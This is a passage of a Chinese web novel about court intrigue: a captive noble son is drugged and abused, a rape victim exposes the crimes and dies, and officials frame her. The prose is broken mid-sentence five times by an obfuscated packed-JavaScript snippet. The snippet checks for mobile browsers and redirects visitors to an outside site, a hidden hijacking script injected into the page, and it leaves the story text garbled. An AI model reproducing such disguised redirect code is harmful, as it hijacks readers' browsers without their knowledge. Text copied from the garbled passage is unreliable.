定远侯含着一口汤,眼神发直,没反应过来她这话是什么意思。
晏逐星抬起眼,目光里掺着点无奈和心疼:“那女儿肯定立刻、麻溜地亲自去昭瑞亲王府门前磕头赔罪啊。不管他们说什么难听的话,女儿都受着。”
“只求他们别再拿这些鸡毛蒜皮来烦扰父亲了。”
欣慰瞬间涌上心头。
定远侯老怀安慰,感动地看着晏逐星。
瞧瞧。
还是女儿好呀。
多懂事!多体贴!
对比之下,晏明修就显得格外的不懂事了。
他心中的邪火“噌”地又烧起来了,甚至比刚才还旺。
要是那小子能有星儿一半明白事理,有点眼力见,早早地自己滚去王府认错,把这事平了。
他堂堂一个侯爷,至于像现在这样丢人么。
定远侯将自己今日受的所有委屈全都记到了晏明修身上。
晏逐星趁机添油加醋,将晏明修架到火上烤:“不过如今为时也不晚。若是二哥愿意主动去王府探望谢世孙,想必王爷也能消气。”
定远侯有些迟疑:“可如今已经得罪了他们,再把你二哥送去……”
“父亲此言差矣。”晏逐星摇了摇头。
“先前王爷让二哥去,是赔罪,如今我们主动登门,是二哥探望好友,怎么能是一回事呢。”
“若谢世孙不分青红皂白,伤了二哥,那就是他们的不对了。咱们礼数周全,问心无愧。”
听了这话,定远侯一瞬间就想通了。
对啊,他怎么把这茬儿给忘了。
之前谢锦程和明修都是好友,于情于理,谢锦程受了伤,明修都该去探望的。
再说了,他也不是无权无势的平头百姓。
要是王府真敢伤他儿子,他立马就哭到皇上面前,把他们那套下三滥的**手段,原封不动地砸回他们脸上。
让他们也尝尝这“以其人之道还治其人之身”的滋味。
“还是星儿聪慧。”定远侯越看晏逐星越觉得满意。
果然孩子还是自己养大的好呀。
亲不亲生的,有什么关系。
孝顺懂事就好。
“多亏父亲教得好。”晏逐星笑眯眯地回应。
一句话夸得定远侯身心都舒畅了。
他命人将晏逐星送回了院子,而后去找了晏明修,让他即刻同他去昭瑞亲王府走一趟。
父子二**吵了一架。
最后不知道定远侯是怎么说服他的,晏明修最终答应了下来。
温如霜想阻止,但失败了。
毕竟这一回是晏明修亲自要求去的。
她担忧地看着定远侯和晏明修离去的身影,心头有些不安,但又无可奈何,最终只得躺在床上等他们的音信。
晏逐星回了玉澜院,九栀便附耳过来询问:“小姐,裴大人那边要动了吗?”
“不急,让谢锦程再得意几日,先让晏明修吃点苦头。”晏逐星摇了摇头。
晏明修一旦踏入了昭瑞亲王府,想回来,可就不是那么简单的事情了。
昭瑞亲王或许会顾忌一些脸面,但被废掉的谢锦程就是个疯子。
他不会就这样让晏明修离开的。
果然,和晏逐星预料的一样。
定远侯带着晏明修上门时,昭瑞亲王客客气气地见了他们。
不一会儿,谢锦程的小厮就来请走晏明修,强调要“单独会见”。
“父亲。”晏明修有些紧张地盯着定远侯。
定远侯还没说话,昭瑞亲王就先开口了。
“你们是至交好友,如今锦程受了伤,心里郁闷,一蹶不振。你该好好开导开导他才是。”
“王爷言之有理。明修,你去吧。父亲在这等你。”定远侯点了点头,没有阻拦。
箭在弦上不得不发,现在说离开也来不及了。
晏明修只能挤出一抹勉强的笑,跟着小厮去了谢锦程的院子里。
定远侯留在原地和昭瑞亲王闲谈。
话里话外都说的是今日**之事许是误会,之后还请王爷替他多多美言几句,莫要让同僚们误会了他。
昭瑞亲王笑笑,没答应也没拒绝。
约莫过了半个时辰,还不见晏明修回来,定远侯有些坐不住了。
他开口道别,提出要带儿子离开。
昭瑞亲王倒也没有阻拦,直接让人去接晏明修。
定远侯心下稍安。
没过多久,派去的小厮就气喘吁吁地跑了回来,躬身禀报:
“回王爷、侯爷,少爷他心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646692|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情实在不佳。二公子与我家少爷情同手足,不忍见他如此,执意要多留几日陪伴开解,等过几日再回侯府。”
“什么?这不可能。”定远猛脸色瞬间变得铁青。
若不是他以休了温如霜为借口威胁晏明修,他才不会来王府呢。
因此,他是绝不可能要留下的,这小厮说的肯定是假话。
昭瑞亲王闻言,微不可察地蹙了下眉头。
他和定远侯想到了一块。
但想着自家小孙子心里有气,总要发泄出来的,不然憋着伤身。
昭瑞亲王端起茶盏,慢条斯理地撇了撇面上的浮沫,这才悠悠开口:“侯爷为何这般笃定不可能?”
“据本王所知,锦程与你家二郎,乃是无话不谈、形影不离的挚友。”
“你家二郎心性纯善,最是重情重义。如今挚友心中郁结难舒,他留下来陪伴开解几日,这不是理所当然之事吗?”
定远侯:“……”
他没想到他们竟然就这样光明正大的把人扣下了。
沉默片刻后,他深吸一口气,开口道:“内子温氏,最是护短。若明修在贵府出了什么意外,她恐怕会做出有失体统的糊涂事,若惊动了御前,臣恐怕无力阻拦,届时王府清誉……”
他没把话说完。
昭瑞亲王冷冷放下茶盏:“侯爷多虑了。王府又不是什么龙潭虎穴,令郎不过是来做客罢了,怎会有什么意外。放心吧,过几日,本王自会让人将他平安送回侯府。”
“平安”二字咬得极重。
定远侯知晓今日是带不走晏明修了,只得不情不愿地离开。
晏明修听闻父亲离去,瞳孔骤然紧缩,脸上血色尽褪。
“不可能!”
“父亲答应过我的,一定会带我回去!你骗我!”
谢锦程欣赏着他濒临崩溃的模样,喉咙里滚出一阵低沉扭曲的、令人毛骨悚然的愉悦笑声。
他俯下身,冰凉的手指恶意地抚过晏明修因恐惧而绷紧的脸颊,眼中翻涌着病态的餍足:“啧,真是天真得可怜啊。”
晏明修下意识地想要后退,但一动,才想起来自己被谢锦程捆住四肢,绑在了椅子上。
他额头一瞬间就冒出了细细密密的冷汗。
“你别过来,你想做什么?”
谢锦程当真如他所愿停住了动作。
他唇边勾起一个残忍的笑,拉长音调,说出了最诛心的话。
“你已经是个废人了,你父亲又怎会在乎你。”
“他呀——”
“抛弃你了。”
第81章 那就**吧
“你胡说!”
晏明修脱口而出。
他好后悔,他就不该来王府的。
“我是不是胡说,你很快就会知道了。”谢锦程恶劣地勾起嘴角。
话音刚落,门外传来昭瑞亲王威严的声音:“锦程,过来。”
谢锦程将晏明修留在了屋里,转身出去,恭敬地冲他行了一礼。
“见过祖父。”
昭瑞亲王盯着他,目光带着审视。
片刻后,方才开口:“锦程,他是定远侯的嫡子,你要注意分寸。”
谢锦程露出一抹温良无害的笑:“明修乃是我的挚友,我怎么舍得伤他?”
他语气轻快,带着一丝令人不寒而栗的亲昵。
“祖父放心。三日后,孙儿定将他全须全尾送回侯府。”
得了承诺,昭瑞亲王不再多言。
转身之际,晏明修嘶哑凄厉的求救声穿透门板而来。
“王爷!王爷救救我!我要见我爹!求您了王爷——!”
昭瑞亲王脚步微不可察地顿了顿。
随即,他仿佛什么也没听见,甩开衣袖,头也不回地快步离去。
谢锦程转身回了屋内,晏明修看到他逼近,紧张地咽了咽口水。
谢锦程面无表情地将先前从伤口换下来的纱布拿了过来。
他捏住晏明修的下巴,撬开他的嘴,将那纱布用力塞到了他的嘴里。
晏明修一想到那些纱布裹过谢锦程的什么地方,一瞬间就干呕了起来。
但嘴里塞着东西,他却什么都吐不出来。
“明修,你我乃是好友,我怎么会害你呢。我只想你陪陪我呀。”谢锦程只留下了这么一句话,便转身躺回床上去了。
他优哉游哉地命人搬来一座屏风,隔绝了晏明修的视线。
而后又命人请了京城最好的戏班子来,在他的院子里唱起了戏。
期间,晏明修试图用各种动静吸引谢锦程的注意力,但谢锦程都没有再搭理他。
晏明修从一开始的愤怒,到绝望,到最后的心如死灰。
院子里的戏唱了足足三个时辰。
直到夜幕降临,谢锦程仿佛才想起屋子里还有一个他。
他动手把晏明修嘴里的布扯掉。
布一离口,晏明修就“哇”地一声吐了出来。
谢锦程让人解开他手上的绳子,温柔地替他拍背:“明修,你若肯听话,我何至于这样对你。”
没想到,这一碰让晏明修吐得更凶了。
他猛地推开谢锦程的手。
“别碰我。”
他被绑得太久,手脚发软,这一推反倒让他摔进了先前吐出的那摊呕吐物里。
谢锦程眉头一锁,嫌恶地退开几步,冷冰冰道:“来人,把他架起来。弄干净,喂点吃的,别让他**。”
他吩咐完转身就进了旁边的屋子,再没回头,把晏明修一人丢在那里。
晏明修见他走了,强撑着爬起来就想往外冲。
可院门口的护卫“唰”地一声拔出刀剑,寒光刺眼。
他心里顿时明白,他走不掉的。
晏明修放弃了挣扎,跟着小厮去沐浴更衣。
这期间,他提心吊胆,生怕谢锦程会做出什么过激的事情来。
结果出乎他的意料,谢锦程竟然全程没有出现,也没有让人为难他。
他饿了一整日,在小厮端来饭菜时,犹豫了片刻后就大口大口地吃了起来。
吃过饭后,晏明修被请回了房间里。
谢锦程也没有出现。
他长长舒了一口气。
再忍两天,父亲一定会来带他回家的。
晏明修在心里暗暗给自己鼓劲。
但他心里装着事,躺在床上翻来覆去地睡不着,耳边总是萦绕着谢锦程白日里说的那些话——
“你已经是个废人了,你父亲又怎会在乎你。”
“他呀……”
“抛弃你了。”
不。
不会的。
父亲不会抛弃他的。
晏明修猛地从床上弹坐起来。
他的手下意识就摸向空洞洞的左眼窝,心像坠了块冰,直直地沉下去。
没错,他如今就是个废人,一个连眼珠子都保不住的废人。
父亲放弃他,好似理所应当。
他失魂落魄地爬起来,抓起桌上的茶壶就往嘴里灌。可奇了怪了,那茶水越喝,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646693|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就感觉越渴,他只能一杯接一杯地往下灌。
灌到后来,他感觉自己整个人变得晕乎乎的。
最后一丝清醒被抽走前,他模糊的视野里,只死死钉进了一双墨黑的靴子。
有人来了。
*
得知晏明修被扣在昭瑞亲王府,温如霜当下就闹了起来。
“你不把明修接回来,我就死给你看。”她尖声嘶吼。
“好啊,那你就**吧。”定远侯嗤笑一声,抱着手臂冷眼瞧她,“丧母之痛,我就不信他们还有脸不放人?”
他早受够了温如霜没完没了的要挟。
听到他这般绝情的话,温如霜眼珠子都快瞪出来了。
她气得上半身都哆嗦了起来:“你竟然巴不得我死?!”
定远侯连眼皮都懒得抬一下,直接转向旁边的丫鬟仆妇,声音冷得像冰碴子:
“还不快把夫人‘请’回去?她要是染了风寒,你们就等着挨板子吧!”
温如霜的贴身嬷嬷李氏被他看得一哆嗦,赶紧招呼粗使婆子上前抬人。
温如霜哪里肯依,她拼命抬手扇打靠近着她的仆妇,嘶声尖叫:“李氏!你这吃里扒外的贱婢!谁才是你主子?!”
李氏凑到温如霜耳边,想要同她窃窃私语,说服她赶紧离开。
没想到刚一靠近,温如霜就反手她扇了一巴掌。
李氏捂着脸,忍下了委屈,提醒道:“夫人,眼下救二少爷要紧啊。”
提起晏明修,总算换回了温如霜的一些理智。
她恨恨地看了定远侯一眼,咬牙切齿道:“走。”
书房里的闹剧,很快就传到了晏逐星的耳朵里。
果然和她猜的差不多。
晏明修回不来,定远侯对温如霜的忍耐也快要到极限了。
这个时候要是阮寄薇能爆出怀孕的好消息,想必定远侯也会把在王府的儿子给忘了吧。
温如霜一夜未眠。
翌日清晨她便顶着眼底的一片乌青,趁着定远侯上朝之际,亲自去王府要人。
没想到,王府的人并没有阻拦她见儿子。
她更没想到的是,儿子竟然拒绝跟她回侯府。
第82章 非人的对待
“明修,别犯傻,跟娘回家!”温如霜一把攥住儿子的手腕,想要用尽全身力气想把他从椅子上拽走。
晏明修下意识地瞟了旁边的谢锦程一眼。
四目相对之际,谢锦程嘴角噙着一丝冷笑,漫不经心地吹了声口哨。
“汪汪汪。”
窗外瞬间响起了一阵狗叫。
晏明修的脸色“唰”一下惨白如纸,整个人控制不住地抖了一下。
“娘!您先回!”
他的声音发紧,带着显而易见的颤音。
“我……我在王府再陪锦程些日子,等他想通了,我立刻回去!”
“是不是有人欺负你了?你告诉娘!”温如霜看他这恐惧的模样,心都揪紧了,眼泪“啪嗒啪嗒”砸在晏明修的手背上。
她不顾晏明修的阻拦,猛地一把撩起他的宽袖。
却发现他双臂光洁,没有半点受伤的迹象。
随后她又急急忙忙扯开了他胸前的衣襟,依旧不见任何红痕淤青。
晏明修却像被烫到一样,推开了她。
他的声音陡然拔高,崩溃大叫了起来:“娘!求您了,您快回去,过些时日我自然会回府!”
窗外的狗叫声愈发激烈,晏明修的呼吸也变得急促了起来,他几乎要晕过去了。
温如霜看着儿子惨白脸上那近乎绝望的抗拒,知道再问不出什么。
她只能强压着翻江倒海的担忧,离开了王府。
任她想破脑袋都没想到,自己的儿子昨夜究竟遭遇了什么非人的对待。
待到她离开后,晏明修后背的衣裳已经被冷汗彻底浸透。
谢锦程露出满意的笑。
他摸了摸晏明修的脑袋,夸赞道:“真是一条听话的好狗。”
听到“狗”字,晏明修就想吐。
他想躲开他的手,但还是硬生生地按住了自己没有乱动。
昨夜之事,他永生难忘。
他彻底明白了,谢锦程就是个罔顾人伦的畜生,和这样的人没有任何道理可讲。
他恨不得将他杀之后快,但又无能为力。
谢锦程看着晏明修那副既恨毒了他、又干不掉他的憋屈模样,再也忍不住,爆出一阵刺耳的大笑。
他用力拍着自己的大腿,笑得前俯后仰,仿佛看到了天底下最好笑的猴戏。
笑够之后,他才开口:“晏明修,你后悔吗?”
晏明修咬紧了后槽牙,一言不发。
“后悔也没办法。谁让昨夜是你自己喝下的那壶茶呢。”谢锦程露出了幸灾乐祸的笑。
“就像你那日说的一样,谁叫我把你带去醉花楼的呢。若我不把你带过去,我今日就不会变成这个样子。”
提到自己的痛处,谢锦程脸上的笑瞬间消失,取而代之的是满脸阴毒与怨恨。
看到他这个样子,晏明修抖得更厉害了。
他不会又把他丢去和那条发了情的狗呆在一起吧。
见他抖成这个样子,谢锦程忽然觉得没什么意思。
太不经吓了。
还得想点新法子折磨他才行。
谢锦程嗤笑一声:“放心吧,我说了三日,那就是三日。你只要乖乖听话,我们就还是好兄弟。到时候,我自会送你回侯府。这些事情,我都会替你保密,保证不会让旁人知晓半分。”
晏明修绝望地闭上了眼睛。
还有两日。
只要再熬过两日,他就能回府继续当他的侯府二少爷了。
只不过,还没等他熬到第三日,谢锦程就被京兆府的人请走了。
晏明修心中的不安愈发浓重。
难不成是他的那些事情被传出去了,所以谢锦程被带走了?
他越想越害怕,两眼一黑,当场晕了过去。
*
玉澜院。
九栀快步走了进来。
“大小姐,王素娥已经拦住裴大人,将**交上去,且当场撞柱身亡了。”
晏逐星手中的笔一顿,笔尖的墨滴落在了纸上,将她先前写的字晕染开来。
自打谢锦程第一次约晏明修出门游玩的时候,她就命张小乙借着采冰的机会,暗中寻访那些曾被谢锦程戕害过的妇人。
按照上一世的情况,那卖鱼郎的娘子此时应当尚未落入谢锦程魔爪。
但像他这样视人命如草芥的畜生,手上沾染的血债绝不止卖鱼郎这一桩。
果然,张小乙没有让她失望。
真就揪出了谢锦程另一桩罪状。
三个月,他在醉花楼喝酒,错把来寻夫的妇人当做了楼里的姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650942|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,强行玷污了人家的清白。
事后,那妇人欲当场撞柱,却被拦下。
谢锦程以她家人的性命做要挟,让她跟了自己。
那位名叫王素娥的妇人,为了夫君和孩子只得含泪入王府给谢锦程当暖床的丫鬟。
一个月前,谢锦程厌倦了她,将她逐出了王府。
王素娥归家后,发现夫君已经用她在王府换回来的银子置办了田地,还纳了妾。
不仅如此,还将她从王府带回来的值钱东西都抢走了,她的孩子也认为她不贞,嫌弃她,不愿意喊她娘亲。
她的夫君将她休了,把她赶回了娘家。
王家人得知她的遭遇,义愤填膺,要去夫家替她讨要说法,结果说法没要到,反被打了一顿撵出来。
第二日,家中忽然起了大火,他们一家五口全都死在了火海之中。
若不是王素娥心有不平,想回夫家想要把自己得的银钱拿回来,恐怕也要丧命其中。
得知家人身死,崩溃之下,她也打算一**之,结果遇到了寻人的张小乙。
张小乙将她带了回来。
王素娥萌生了死意,一心求死,根本不想活着。
她一介妇人,连丈夫一家都斗不过,又怎么斗得过王府。
要不是晏逐星派人严加看管她,她恐怕**好几回了。
直到前几日,晏逐星的人找到了她的弟媳妇。
那日她的弟媳妇宋氏早早就回了娘家,因此躲过一劫。
也是那一日,她才发现自己怀了孩子。
得知宋氏的肚子里怀着王家最后的血脉,王素娥终于有了要复仇的决心。
晏逐星许诺她,无论最后生下来的孩子是男是女,她都会保其一辈子富贵荣华。
王素娥终于答应状告谢锦程。
因此才有了今日她携着**报官,求裴明镜做主之事。
晏逐星放下了手中的笔,扫了一眼纸上写下的几个名字:
平安、长生。
锦绣、明珠。
那日,王秀娥拜托她给未出生的小外甥取名字。
如今她还没把去取好的名字告诉她,让她择其一,她就**。
沉默片刻后,晏逐星轻声开口:“王素娥死后,裴明镜作何反应?”
第83章 也算是报应
“裴大人派人去调查了王素娥所言,已经将她的丈夫刘书叫到了京兆府。”九栀有条不紊地进行汇报。
“刘书一开始还想狡辩,但后来经不住裴大人的审问,老实交代了。”
“他所言的和王素娥上交的**相差无几,唯有屠戮王家满门一事,他喊了冤。”
“他说他只是去和昭瑞亲王府的管家提了一下,第二天王家就没了。这事真不是他干的。”
“裴大人已经派人去把管家和谢锦程请过去了。”
晏逐星听完心里就有数了。
这事大概率最后就由王府管家来背锅。
谢锦程有皇室宗亲的身份庇护着,最多也就和上辈子一样,贬为庶人,圈禁于王府,终身不得外出。
虽然没能让他一命偿一命,但如今他不能再祸害其他良家妇女,一辈子人不人,鬼不鬼地活着。
倒也算是报应了。
“我知道了。”晏逐星点了点头,没有再问。
“后续的事情我们不要再插手,让裴明镜去查。”
“好。”九栀点头答应了下来。
这时,门外传来了衔蝉的声音:“小姐,明日就是腊八节了,咱们是不是要煮些腊八粥送去国公府呀?”
晏逐星这才惊觉,时间过得飞快。
明日就是腊八节。
那再过不久,就是过年了。
她对上辈子的腊八节毫无印象,甚至连过年的记忆都有些模糊了。
晏明月被接回来之后,每一年过年都是她不愿回忆的噩梦。
如今她只记得上一世在军营里的最后一年,她和霍将军他们一块包饺子的场景。
将军夫人笑话她手握**、拉弓射箭的时候那么灵活,怎么到包饺子上边就笨手笨脚的了。
她不好意思反驳,讷讷低头拼命想要把饺子包好,却反倒让饺子胀破了肚皮,更加糟糕了。
将军次子霍开阳听到这话振振有词:“反正饺子下锅最后都要进肚里,长什么样不都一样,好吃就行。”
将军夫人气得抬手就给他一个脑瓜崩,霍开阳脑门上沾了一抹白,他也不恼,只是嘿嘿傻乐,夸他娘亲力气真大。
营帐里顿时充满了欢声笑语。
那是她为数不多的温暖时刻。
想到这,晏逐星忍不住弯了弯眉眼。
“小姐?”见她迟迟不吭声,衔蝉再次出声提醒。
“你教教我吧。煮好了,我亲自给国公府送去。”晏逐星开口。
这些日子她只顾着算计**,整个人一直绷紧得像一根弦。
如今心里竟莫名涌起一阵疲惫。
她想,或许她应该找点别的事情转移一下注意力。
先过个好年,等过完了年,再把定远侯府剩下的人给解决了。
“好呀。”听到她要学煮腊八粥,衔蝉笑眯眯地答应了下来。
晏逐星想了想,又吩咐了下人多采买一些食材,明日腊八节,她要去施粥。
就当是给王素娥祈福吧。
希望她来世能托生到一个好人家。
*
谢锦程被叫到了京兆府。
看着裴明镜,他依旧是一副不可一世的嚣张态度。
“裴大人,不过是一个王府帮工,也值得你这般大动干戈?”他将王素娥签下的契书扔了出来。
裴明镜捡起来细细查看,发现上边写的是:王素娥自愿受雇于昭瑞亲王府,负责内院针线杂役。
契约签的也是活契,签了半年。
“她跟管家哭诉想孩子所以要回家去,小爷我心善,便准她提前离开王府。这人怎么还倒打一耙呢。”谢锦程有备而来,并未惊慌。
“还有她那夫家,隔三岔五到王府要钱,管家早就烦不胜烦了。要不是看她可怜,有孩子要养,早把她赶出王府了。”
裴明镜听到他的辩解,没有意外。
这种事情谢锦程一定没少干,他肯定早就想好了退路。
“那贵府管家灭了王家满门一事,又该怎么说?”裴明镜把话题转移到了管家**身上。
“还有这等事情?”谢锦程露出了惊讶的神情,装作什么都不知道的样子。
“裴大人可有证据,莫不是误会了?”
**是他祖父一手提拔上来的,在王府干了几十年,什么话该说什么话不该说,他心中定有分寸。
因而谢锦程不相信他会轻易吐口,让罪名落到他头上。
“自然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657533|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是有的。”裴明镜也不是全然没有准备。
本来他没那么快查到他买凶的证据,多亏了王素娥**上的提醒,他才能顺藤摸瓜,这么快就找到了管家买凶**的证据。
他将搜罗到的罪证摆在了谢锦程面前。
“管家买凶的银票,纵火的嫌犯,本官都找到了。”
谢锦程敛起笑意,脸色变得有些阴沉。
他冷冷道:“这些说明不了,很可能是那女子栽赃陷害。**可没认罪。”
裴明镜点了点头:“**尚未承认罪行,本官自然还需要继续审理。”
管家对王府十分忠诚,一直不松口,即便有了这些证据他也咬死不承认是自己干的。
他称银票是被人偷了。
纵火的嫌犯也只是一面之词,他们并未见过。
因此事情就卡在了这里。
谢锦程脸色稍缓,裴明镜又道:“一个小小管家,怎么敢犯下这样的滔天大罪。幕后一定有人指使。”
他越说,谢锦程的脸色越难看。
裴明镜仿佛看不到,继续道:“好在今日清晨京兆府恰好寻得一名关键活口,待其归案,想必一切就真相大白了。届时,定要这些凶手血债血偿。”
谢锦程脸色变了又变。
但他很快就恢复了先前那副玩世不恭的模样。
“是么,那就恭贺大人了。还望大人能早点破案,早日还王府一个清白,还王家一个公道。”
说完就大摇大摆地离开了。
裴明镜面无表情地看着他离开,将郑晗叫来。
“盯着他。看他接下来会去哪里找人。”
他先前说的话,不过是故意诈谢锦程罢了。
郑晗目露难色。
他只是小官出身,不像裴大人有一个好的家世,还有太后恩宠。
他哪敢得罪昭瑞亲王府啊。
看出了他的顾虑,裴明镜果断道:“放心,若出了什么事,本官一力承担。王爷若是怪罪,本官护你到底。”
有了他这句话,郑晗当即昂首挺胸答应了下来:“是,下官这就派人盯着他。”
王素娥的死,并未换来谢锦程入狱。
但却让刑部和大理寺达成了一致。
第84章 明年有王妃
“上回在醉花楼画舫上刺杀谢世孙的正是王素娥!”
刑部和大理寺的官员迟迟查不到真凶,又被昭瑞亲王不停地催促,忙得是焦头烂额,嘴角都急得长了燎泡。
如今王素娥的出现,正好解了他们的燃眉之急。
他们的理由十分充分:
那日射伤谢锦程的是女子,王素娥,女的。
对上了。
那人必定恨极了谢锦程,王素娥为了让谢锦程入狱,以命相告,可见对谢锦程是恨之入骨。
这也对上了。
再加上他们整理的所谓的王素娥“行踪图”,也能和谢锦程那日受伤的路线对上,他们就果断结案了。
反正那些日子王素娥被夫家所抛弃,娘家人又死光了,一心求死,见过她的人少之又少,他们随便编几条路线都死无对证。
谢锦程听到他们这荒谬的说法,面色沉沉。
他又不是瞎了。
自己睡了两个月的女人都认不出来。
那日的女子绝对不可能是王素娥。
他怒吼道:“可那日杀我之人明明说要针对的是晏明修!”
刑部尚书面不改色道:“许是怕您查到她头上,所以故意这么说。”
“那还有她的同谋呢,那个会打鼓的小丫鬟?”谢锦程气得后槽牙都要咬碎了。
刑部尚书继续道:“是她的小妹。”
“你们诓我也得用点心吧。”谢锦程气笑了。
“她娘家人不都死在了大半个月前的那场大火里了吗。”
“王家的尸骨少了一具,想必就是她的小妹王素娟。”大理寺卿在一旁客客气气地补充。
“谢世孙请放心,我们一定会尽早将王素娟缉拿归案。”刑部尚书跟着点头。
两人态度毕恭毕敬,说话又句句有回应。
谢锦程一时间真是气都不知道该往哪里撒。
他敢随意折辱晏明修,却不能光明正大地动这两位朝廷要员。
因而只能铁青着脸,一言不发。
“辛苦二位大人了。”谢清安得了父亲的示意,赶忙出来将两人送走。
“不辛苦。此事还得上报陛下呢,我等就先行离开了。”两人也没有在王府过多的逗留,转身就走。
他们一走,谢锦程就大发脾气。
“您难道看不出来他们是在撒谎吗?”
“撒谎又如何!此事横竖查不到真凶,他们迟早要拿无关紧要之人糊弄咱们。现在最要紧的是王素娥的事。”谢清安恨铁不成钢地看着儿子。
“这事瞒不住了,你祖父已经知道了,他让你过去见他。”
谢锦程抿着唇,满脸不服气,听到“王素娥”三个字,眼里的恨意更深。
“知道了。”他不情不愿地去见了昭瑞亲王。
*
刑部尚书和大理寺卿来到御书房时,谢翊宁也在。
“参见陛下,参见永安王。”
两人赶忙行礼。
“免礼。”文昭帝抬手示意他们起身。
“不知两位爱卿今日前来,所为何事啊。”
谢翊宁原本打算离开,却被刑部尚书一句话给留住了。
“微臣前来,乃是为了昭瑞亲王之孙谢锦程被刺杀一案而来。凶手已经找到了。”
谢翊宁不走了。
他正大光明地坐到了一旁的椅子上旁听。
两位大人已经见怪不怪,凭着皇上对永安王的溺爱,就算他现在躺地上听他们说话,皇上肯定也不会训斥他。
保不准还会夸他躺得真好看。
文昭帝有些惊讶地看着儿子,不是说要走么,怎么还留下来了。
“这茯苓糕真不错,就是有点噎。严公公,劳烦您给我添杯茶。”谢翊宁指了指自己空荡荡的杯子。
严公公看了皇帝一眼,就见他微微抬了抬下巴,目光落在了自己面前的那碟奶饽饽上。
严公公明白了。
皇上这是让他赶紧给永安王添茶,然后顺便把这奶饽饽也送过去,这个不噎。
见他端走后,文昭帝这才看向了两位大人。
“哦?凶手是何人?”
谢翊宁装作不经意,实际上早已竖起了耳朵。
不会吧不会吧。
他上回派照夜和停云去扫尾,他们说小恩人办事很利落,没有留下任何证据呀。
怎么这两人还能查到真凶?
“凶手名唤王素娥,是京郊曹家村的一名村妇。”刑部尚书负责讲解。
他把事情的来龙去脉说了一遍。
谢翊宁听着顿时放下心来。
看样子这二位大人是找不到真凶,又被昭瑞亲王逼得没法子了,这才病急乱投医,把黑锅扣在了那个村妇身上。
“所以昭瑞亲王之孙强掳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657534|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清白民女在前,为掩恶行,竟屠戮其满门在后?”文昭帝眉头紧锁。
二位大人忙道:“启禀皇上,此事还在京兆尹裴大人手中审理,明日方才移交至大理寺和刑部,因此具体的情况,我等尚未明晰。”
“行了,朕知道了,退下吧。”文昭帝将两人打发了下去。
谢翊宁吃完了糕点,也听完了案情,拍拍手起身打算走人,结果就被叫住了。
“石头,所以后日你的生辰,你到底想怎么过?”文昭帝无奈地看着儿子。
“就像从前一样,略过。”谢翊宁无所谓地耸了耸肩。
“那怎么行!”文昭帝坚决不同意。
自打一周岁时儿子被国师断定活不过及冠,他们就再也没给他过过生辰了。
感觉每一年他过生辰都是在倒数他的死亡。
大家都默契地逃避。
如今从国师口中得知儿子命数已改,怎么还舍得让他简简单单地过完十八岁的生辰。
“总之不许大操大办!”谢翊宁果断反对。
“就咱们一家人一块吃吃饭就行了。我命数已改的事情,不宜大张旗鼓地宣扬。”
“行吧。”文昭帝拗不过小儿子,只得点头答应了。
“你若改了主意,随时入宫找父皇。哦,对了,你想要什么生辰礼物呀?”
“都行。”谢翊宁甩下两个字赶紧开溜。
他真是怕了父皇了。
一个生辰而已,磨磨唧唧说老半天了。
他要再不走,父皇恐怕就要拉着他回忆往昔,说小时候多么对不起他了。
毕竟每个皇兄皇姐还有皇妹的生辰都是办得热热闹闹的,唯有他的生辰总是略过。
